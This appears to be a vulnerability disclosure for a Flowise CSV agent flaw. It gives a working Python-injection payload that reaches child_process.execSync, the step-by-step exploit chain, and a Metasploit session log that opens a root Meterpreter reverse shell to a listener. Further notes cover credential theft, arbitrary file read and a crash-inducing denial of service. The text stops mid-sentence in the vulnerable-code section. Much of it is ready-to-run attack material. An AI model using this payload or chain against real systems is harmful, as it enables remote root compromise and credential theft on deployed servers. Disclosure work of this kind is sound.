CVE-2026-69255

UPDATE 2026-05-20: Full RCE as root VERIFIED This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2. Verified Exploit Chain 1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161) 2. Pyodide js bridge provides access to the host Node.js process 3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction) 4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container) Working RCE Payload ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas. Metasploit Session Proof msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit [+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422) meterpreter > getuid Server username: root meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux meterpreter > shell id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux Additional Verified Impact Credential Theft: FLOWISE_PASSWORD=admin123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7 Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely. CVSS v3.1: 9.9 CRITICAL AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Original Report (below) Vulnerable Code File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on co

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